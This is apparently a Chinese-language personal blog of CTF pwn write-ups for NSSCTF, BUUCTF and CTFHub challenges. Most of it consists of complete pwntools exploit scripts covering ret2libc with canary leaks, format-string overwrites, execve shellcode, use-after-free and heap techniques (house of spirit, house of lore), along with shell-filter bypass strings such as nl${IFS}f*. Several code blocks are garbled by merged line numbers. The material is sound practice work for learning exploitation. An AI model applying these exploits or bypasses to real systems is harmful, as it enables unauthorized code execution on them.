现在开始还是专心打pwn,等进度赶过来的时候再打打其他方向。
已经认清自己了,以目前半吊子的知识储备无法分心学其他方向QAQ,而且打比赛其他方向也有队友了,所以其他方向不急着学。
NSSCTF
题目1_littleof
考点:ret2libc
、Canary绕过
先查看一下保护机制,发现开了Canary
然后再反编译查看一下程序运行的逻辑。运行逻辑主要就是在下图的函数中。
这边还有俩个溢出点,但是由于有Canary,所以第一个溢出点是泄露Canary的值,然后第二个才是真正的进行溢出构造ROP链
这边还需要注意一下接收,因为%s
除了格式化输出Canary的值,还输出了rbp栈地址的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *context(log_level = 'debug' ) p = remote('node4.anna.nssctf.cn' ,28938 ) payload = b'a' *0x49 p.sendafter(b'Do you know how to do buffer overflow?\n' ,payload) canary = p.recv() canary = b'\x00' + canary[0x49 :0x50 ] print (canary)canary = int .from_bytes(canary,'little' ) print (hex (canary))pop_rdi = 0x400863 puts_got = 0x601018 puts_plt = 0x4005B0 ret = 0x40059e fun = 0x4006E2 payload1 = b'a' *0x48 + p64(canary) + b'a' *0x8 + p64(pop_rdi) payload1 += p64(puts_got) + p64(puts_plt) + p64(fun) p.sendline(payload1) p.recvline() puts_addr = p.recvline()[:-1 ] print ('------>' ,puts_addr)puts_addr = int .from_bytes(puts_addr,'little' ) libc_addr = puts_addr - 0x80aa0 sh_addr = libc_addr + 0x1b3e1a sys_addr = libc_addr + 0x4f550 p.sendline(b'a' ) payload2 = b'a' *0x48 + p64(canary) + b'a' *0x8 payload2 += p64(pop_rdi) + p64(sh_addr) + p64(ret) + p64(sys_addr) p.sendline(payload2) p.interactive()
题目2_find_flag
考点:格式化字符串漏洞
简单的字符串格式化的题目
先查看一下保护机制,发现全部保护都开起来了
再查看一下反编译后的程序代码,查看程序运行的逻辑,主要问题出现在这里,思路就是先泄露栈上的Canary值和ret的地址,然后计算程序的地址,然后再进行栈溢出。
由于本地和靶机的字符串格式化偏移不一样,直接打远程,不要动态调试。
exp如下:
先通过爆破发现,%17$p
是泄露Canary的值和%19$p
泄露程序返回地址的值
1 2 3 4 5 6 7 8 from pwn import *context(log_level='debug' ) for i in range (100 ): p = remote('node4.anna.nssctf.cn' ,28422 ) payload = b'%' + str (i).encode('utf-8' ) + b'$p' p.sendlineafter(b'Hi! What\'s your name?' ,payload) p.interactive() p.close()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context(log_level='debug' ) p = remote('node4.anna.nssctf.cn' ,28467 ) payload = b'%17$p' + b'-----' + b'%19$p' p.sendlineafter(b'Hi! What\'s your name?' ,payload) leak = p.recvline() print (leak)canary = leak[19 :37 ] addr = leak[42 :-2 ] print ('canary---->' ,canary)print ('addr----->' ,addr)canary = int (canary.decode('utf-8' ),16 ) addr = int (addr.decode('utf-8' ),16 ) addr = addr - 0x146F catflag = addr + 0x1231 print ('canary:' ,hex (canary))payload = b'a' *0x38 + p64(canary) + b'a' *0x8 + p64(catflag) p.sendline(payload) p.interactive()
题目3_singout
1 2 3 4 nl ${IFS} f*nl $IFS$9f *tail ./*tail $IFS$9 ./f*
nl是Linux系统的命令,用于给每个文件编号
I F S 中, I F S 是 s h e l l 特殊环境变量,代表 ∗ ∗ 内部字段分隔符 ∗ ∗ 这里表示空格。这边使用 {IFS}中,IFS是shell特殊环境变量,代表**内部字段分隔符**这里表示空格。这边使用 I F S 中 , I F S 是 s h e l l 特 殊 环 境 变 量 , 代 表 ∗ ∗ 内 部 字 段 分 隔 符 ∗ ∗ 这 里 表 示 空 格 。 这 边 使 用 {IFS}的作用就是充当空格,因为空格可能也被禁用了
f*表示的是当前目录下所有以f开头的文件
执行该命令的就相当于执行nl f*
nl
命令会逐行读取文件的内容,并为每一行添加行号。
这里我在本地实验一下:
它会读取文件里面的内容。
逐行标上行号之后就会逐行输出。
题目4_shellcode?
先查看保护机制发现只有Canary没开,其他都开了
查看反编译的代码,这边应该就是简单的写一个shellcode
直接开写,虽然python有自动生成工具,但是因为是练习,所以尝试自己多写一点简单shellcode,之后要碰到要自己写的就不会太牢
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *context(arch='amd64' ) p = remote('node5.anna.nssctf.cn' ,23069 ) a = asm(""" mov rax,59 mov rbx,0x0068732f6e69622f push rbx mov rdi,rsp xor rsi,rsi xor rdx,rdx syscall """ )p.sendline(a) p.interactive()
题目5_[HUBUCTF 2022 新生赛]fmt
1 2 3 4 5 6 7 from pwn import *p = remote('node5.anna.nssctf.cn' ,29340 ) for i in range (100 ): p.recvline() p.sendline(b'%' +str (i).encode('utf-8' )+b'$p' ) a = p.recvline() print (a)
1 2 3 4 5 6 7 a = [0x657b46544353534e ,0x2d35633332386366 ,0x3837342d33653834 ,0x392d303432612d66 ,0x3331326130306634 ,0xa7d393636 ] for i in range (len (a)): print (libnum.n2s(a[i])) b = ['e{FTCSSN' ,'-5c328cf' ,'874-3e84' ,'9-042a-f' ,'312a00f4' ,'\n}966' ] for i in range (len (b)): print (b[i][-1 ::-1 ],end='' )
题目6_[NISACTF 2022]UAF
然后使用IDA分析该程序,发现是一个经典的堆菜单题目,然后使用scanf
函数输入我们要选择的菜单选项。
接下来先查看create()
函数,在这边有两个在.bss
段上的全局变量i
和page
该程序先输入我们申请page
的索引,然后对这个索引进行检查,当i
在0到9之间就会先创建一个堆块,并将堆块的地址存储在page
这个指针数组
这边
然后对i
进行检查如果i
大于9就没有PAGE
分配给新申请的堆块,如果还有空间i
就会自增1
当i=0
的时候会先初始化page
即在该堆块里面前4字节存储着一串数字,后4字节存储着函数指针,用于输出功能。
通过查看.bss
段我们可以确定i
是一个int类型的变量占4
字节,而page
很明显是一个指针数组,该数组定义了10
个指针变量
接下来我们再来查看,edit()
这部分函数执行什么
首先是输入我们要修改的堆块索引
然后使用scanf
向该堆块输入内容,但是这里好像存在溢出
之后再来查看del()
这个函数的功能,该函数的功能就是free
我们指定的堆块,但是这边存在一个UAF
的漏洞,所以我们可能可以利用这个漏洞。
之后再来查看show
这个函数的功能,是输出我们所选择的堆块,但是这里要注意一下,就是当我们要输入page[0]
的时候,程序会调用这个函数指针,即该函数指针存放在page[1]
这个位置,然后去输出page[0]
的内容。
所以思路如下:
通过UAF
漏洞修改函数指针为后门函数,然后再修改向page[0][0]
中写入/bin/sh\x00
或者/sh\x00\x00
这样我们就劫持了程序的控制流到后门函数,就可以成功执行system("/bin/sh")
接下来使用动态调试查看堆块的具体运行情况
首选我们发现第一次是堆块的初始化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *context(log_level='debug' ) p = remote('node4.anna.nssctf.cn' ,28471 ) def create (): p.sendlineafter(b':' ,b'1' ) def edit (page,string ): p.sendlineafter(b':' ,b'2' ) p.sendlineafter(b'Input page\n' ,str (page).encode('utf-8' )) p.sendlineafter(b'Input your strings\n' ,string) def delete (page ): p.sendlineafter(b':' ,b'3' ) p.sendlineafter(b'Input page\n' ,str (page).encode('utf-8' )) def show (page ): p.sendlineafter(b':' ,b'4' ) p.sendlineafter(b'Input page\n' ,str (page).encode('utf-8' )) pause() create() create() delete(0 ) create() payload = b'\sh\x00' + p32(0x8048642 ) edit(2 ,payload) show(0 ) p.interactive()
题目7_[HNCTF 2022 Week1]ezcmp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 #include <stdio.h> char buff[100 ];int v0;char buffff[]="ABCDEFGHIJKLMNOPQRSTUVWXYZ1234" ;char bua[]="abcdefghijklmnopqrstuvwxyz4321" ;char * enccrypt (char *buf) { int a; for (int i=0 ;i<29 ;i++){ a=rand(); buf[i]^=buffff[i]; buff[i]^=bua[i]; for (int j=29 ;j>=0 ;j--){ buf[j]=buff[i]; buf[i]+='2' ; } buf[i]-=((bua[i]^0x30 )*(buffff[i]>>2 )&1 )&0xff ; buf[i]+=(a%buff[i])&0xff ; } } int main () { setbuf(stdin ,0 ); setbuf(stderr ,0 ); setbuf(stdout ,0 ); puts ("GDB-pwndbg maybe useful" ); char buf[]="Ayaka_nbbbbbbbbbbbbbbbbb_pluss" ; strcpy (buff,buf); char test[30 ]; int v0=1 ; srand(v0); enccrypt(buff); read(0 ,test,30 ); if (!strncmp (buff,test,30 )){ system("/bin/sh" ); } else { puts ("Oh No!You lose!!!" ); exit (0 ); } return ; }
该题程序就是将Ayaka_nbbbbbbbbbbbbbbbbb_pluss
这个字符串进行加密,让我们输入数据,然后与加密过后的数据进行比较,如果与加密后的结果一致,那么就可以getshell
,这里先使用IDA
逆向一下该二进制程序,找到main函数中call read
的地址。以及找到全局变量buff
的地址。
然后使用gdb
动态调试,在call read
这个位置去设置断点,设置完断点后使用c
命令
这时我们再查看全局变量buff
里面的值,这样我们就可以看到加密后的数据了
1 2 3 4 5 6 from pwn import *p = remote('node5.anna.nssctf.cn' ,27273 ) payload = p64(0x144678aadc0e4072 ) + p64(0x84b6e81a4c7eb0e2 ) payload+= p64(0xf426588abcee2052 ) + p64(0xc8cb2c5e90c2 ) p.send(payload) p.interactive()
题目8_[HDCTF 2023]KEEP ON
然后使用IDA
反编译查看代码,先来查看main
函数,发现main
函数只有一个输出,和初始化,比较重要的在vuln
这个函数中
接下来直接查看vuln
这个函数
发现有两个read()
函数,其中第二个read
函数存在溢出,可以溢出0x10
个字节。
然后printf(s)
这边还存在字符串格式化漏洞
由于可以溢出的空间太小了,所以查看汇编代码,看看是否有leave
和 ret
这个汇编语句。发现有leave
和ret
这个汇编语句,这样我们就可以进行栈迁移操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *context(log_level='debug' ) p = process('./hdctf' ) payload = b'%16$p' p.sendlineafter(b'name: \n' ,payload) stack = p.recvline()[6 :-1 ] stack = int (stack,16 ) print ('stack---->' ,hex (stack))stack = stack - 0x60 leave = 0x4007F2 pop_rdi =0x4008d3 sys_addr = 0x40085D ret = 0x400864 payload1 = p64(stack)+p64(pop_rdi)+p64(stack+0x20 )+p64(sys_addr) payload1 += b'/bin/sh\x00' +b'a' *0x28 payload1 += p64(stack)+p64(leave) p.sendlineafter(b'keep on !\n' ,payload1) p.interactive()
BUUCTF
第一页
第二页
题目1_ez_pz_hackover_2016
之后使用IDA pro反编译一下该程序,发现程序会先进行输入输出初始化
之后就调用两个函数
接下来就查看header()
这个函数,发现这个函数没有任何漏洞点
再看一下chall()
,这个函数主要执行的操作为
题目先会泄露出s
这个数组的地址,即栈上的地址
向s
输入内容这个地方不存在栈溢出
并且v3
这边会查找\n
,然后会将\n
置\x00
之后会将数组s
与crashme
进行比较如果两个字符串相等,那么就可以执行vuln
这个函数。
接下来查看vuln
这个函数
这个函数会复制0x400
字节到dest
这个数组中,这个复制的值是从&src
注意是保存src
地址的栈开始,这边存在栈溢出
接下来就是栈溢出的利用了。由于栈可执行,直接往栈上写shellcode然后执行即可
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *p = remote('node5.buuoj.cn' ,27130 ) p.recvuntil('crash: ' ) stack_addr = p.recvline()[:-1 ] print (stack_addr)stack_addr = int (stack_addr.decode(),16 ) a = asm(shellcraft.sh()) print ('a--->' ,len (a))payload = b'crashme\x00' + cyclic(0x12 ) payload += p32(stack_addr-0x1c )+a p.sendline(payload) p.interactive()
题目2_jarvisoj_level3_x64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *p = remote('node5.buuoj.cn' ,26355 ) pop_rdi = 0x4006b3 pop_rsi = 0x4006b1 write_addr = 0x4004B0 write_got = 0x600A58 payload = b'a' *0x88 +p64(pop_rdi)+p64(1 ) payload += p64(pop_rsi)+p64(write_got)+p64(0 )+p64(write_addr)+p64(0x4005E6 ) pause() p.sendline(payload) p.recvline() write = p.recv()[0 :6 ] print ('write_addr-->' ,write)write = int .from_bytes(write,'little' ) libc_addr = write - 0xF72B0 sh_addr = libc_addr + 0x18CD57 sys_addr = libc_addr + 0x45390 payload = b'a' *0x88 +p64(pop_rdi)+p64(sh_addr)+p64(sys_addr) p.sendline(payload) p.interactive()
题目3_mrctf2020_shellcode
1 2 3 4 5 6 7 from pwn import *context.arch='amd64' p = process('./mrctf2020_shellcode' ) p = remote('node5.buuoj.cn' ,27597 ) payload = asm(shellcraft.sh()) p.sendline(payload) p.interactive()
题目4_bjdctf_2020_babyrop2
考点:ret2libc
、格式化字符串漏洞
、canary保护
查看一下该附件的保护机制
开了Canary,程序中有格式化字符串漏洞,先要利用该漏洞就可以泄露canary
了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *p = process("./bjdctf_2020_babyrop2" ) p = remote('node5.buuoj.cn' ,28015 ) p.sendline(b'%7$p' ) canary = p.recvuntil(b'I\'ll give u some gift to help u!\n' ) canary = p.recvline()[:-1 ] print ('canary-->' ,canary)canary = int (canary.decode(),16 ) pop_rdi=0x400993 puts_got = 0x601018 puts_plt = 0x400610 payload = b'a' *0x18 +p64(canary)+b'a' *0x8 +p64(pop_rdi) payload += p64(puts_got)+p64(puts_plt)+p64(0x400887 ) p.sendline(payload) p.recvuntil(b'Pull up your sword and tell me u story!\n' ) puts_addr = p.recvline()[:-1 ] puts_addr = int .from_bytes(puts_addr,'little' ) libc_addr = puts_addr - 0x6F690 sys_addr = libc_addr + 0x45390 sh_addr = libc_addr + 0x18CD57 print ('puts_addr--->' ,puts_addr)payload = b'a' *0x18 +p64(canary)+b'a' *0x8 +p64(pop_rdi) payload += p64(sh_addr)+p64(sys_addr) p.sendline(payload) p.interactive()
题目5_babyheap_0ctf_2017
题目6_bjdctf_2020_router
这时我们就可以使用;
进行命令绕过,直接选择选项1
然后执行命令;/bin/sh
即可getshell
第三页
第四页
题目13_ciscn_2019_sw_1
考点:只能一次格式化字符串
这题之后再来归纳一下格式化字符串漏洞,这题再细讲
这边也直接贴出exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *context.arch = 'i386' p = remote('node5.buuoj.cn' ,25550 ) pause() fini_addr = 0x804979C main_addr = 0x8048534 sys_addr = 0x80483D0 printf_got = 0x804989C payload = b'%' + str (0x83d0 ).encode('utf-8' ) + b'c%14$hn' payload += b'%' + str (0x8534 -0x83D0 ).encode('utf-8' )+b'c%15$hn' payload += b'%' + str (0x82D0 ).encode('utf-8' )+b'c%16$hnaaa' payload += p32(printf_got)+p32(fini_addr)+p32(printf_got+2 ) print ('len--->' ,len (payload))p.sendline(payload) p.sendline(b'/bin/sh\x00' ) p.interactive()
题目14_lctf2016_pwn200
考点:house_of_sprirt
这题在house_of_sprirt
这边有详细解答,这边就直接给exp。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *context(arch='amd64' ,log_level='debug' ) p = process("./pwn200" ) gdb.attach(p,"b *0x400B1F\n b *0x400824\nb *0x400A5F\n b *0x40092C" ) payload = b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaa' pause() p.sendafter(b'who are u?\n' ,payload) p.recvuntil(b'faaaaaaa' ) stack_addr = p.recvline() print (stack_addr)stack_addr=stack_addr[:6 ] print ('stack_addr------->' ,stack_addr)stack_addr=int .from_bytes(stack_addr,'little' ) ptr = stack_addr-0xf0 +0x40 payload1 = b'48' p.sendlineafter(b'give me your id ~~?\n' ,payload1) payload2 = p64(0x0 )+p64(0x61 )+b'a' *0x28 +p64(ptr) p.sendafter(b'give me money~\n' ,payload2) payload3 = b'2' p.sendlineafter(b'your choice :' ,payload3) payload4 = b'1' p.sendlineafter(b'your choice :' ,payload4) payload5 = b'80' p.sendlineafter(b'how long?\n' ,payload5) a = asm(""" mov rbx,0x0068732f6e69622f push rbx mov rdi,rsp xor rsi,rsi xor rdx,rdx mov rax,59 syscall """ )sh = a print ("-------->" ,len (sh))payload6 = sh +b'a' *3 + b'a' *0x18 + p64(ptr) p.sendlineafter(b'give me more money :' ,payload6) payload = b'3' p.sendlineafter(b'your choice :' ,payload) p.interactive()
题目29_houseoforange_hitcon_2016
第五页
题目28_[OGeek2019 Final]OVM
CTFshow
CTFHub
题目1_house_of_lore
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import *context.log_level='debug' context.terminal = ["tmux" , "neww" ] libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) p = process("./pwn" ) def add (size ): p.sendline(b'1' ) p.sendafter(b'size:\n' ,str (size).encode('utf-8' )) def dele (idx ): p.sendline(b'3' ) p.send(str (idx).encode('utf-8' )) def edit (idx,context ): p.sendline(b'2' ) p.sendline(str (idx).encode('utf-8' )) p.send(context) def change_name (name ): p.sendline(b'4' ) p.send(name) def change_mesg (size,new_mesg,mesg ): p.sendline(b'5' ) p.recvuntil(b'saved at ' ) a = p.recvline()[:-1 ] print ('leak--->' ,a) heap_addr = int (a,16 ) payload = p64(heap_addr+0xb0 +0xd0 ) mesg = payload + mesg print ('---->' ,hex (heap_addr)) p.send(str (size).encode('utf-8' )) p.send(new_mesg) p.send(mesg) return a payload1 = b'a' p.sendlineafter(b'writer:\n' ,payload1) payload2 = b'a' p.sendlineafter(b'book?\n' ,payload2) add(0xC8 ) payload = p64(0x6020A0 -0x10 ) heap_addr = change_mesg(200 ,b'11' ,payload) heap_addr = int (heap_addr,16 ) print ('---->' ,hex (heap_addr))payload = p64(heap_addr-0x10 )+p64(0x6020A0 +0x8 ) payload +=p64(0 )+p64(0x6020A0 -0x10 ) change_name(payload) add(0xb0 ) add(0xb0 ) free_got = 0x602018 puts_got = 0x602020 atoi_got = 0x602060 payload = b'a' *0x40 +p64(heap_addr+0xb0 +0xc0 +0xd0 ) payload+=b'a' *0x18 +p64(free_got)+p64(puts_got) payload+=p64(atoi_got) edit(2 ,payload) edit(0 ,p64(0x4006A0 )) dele(1 ) p.recvuntil(b'delete?\n' ) puts_addr = p.recvline()[:-1 ] print ('puts_addr--->' ,puts_addr)puts_addr = int .from_bytes(puts_addr,'little' ) libc_addr = puts_addr - libc.symbols['puts' ] system_addr = libc_addr + libc.symbols['system' ] edit(2 ,p64(system_addr)) p.send(b'/bin/sh\x00' ) p.interactive()
其他
chrome v8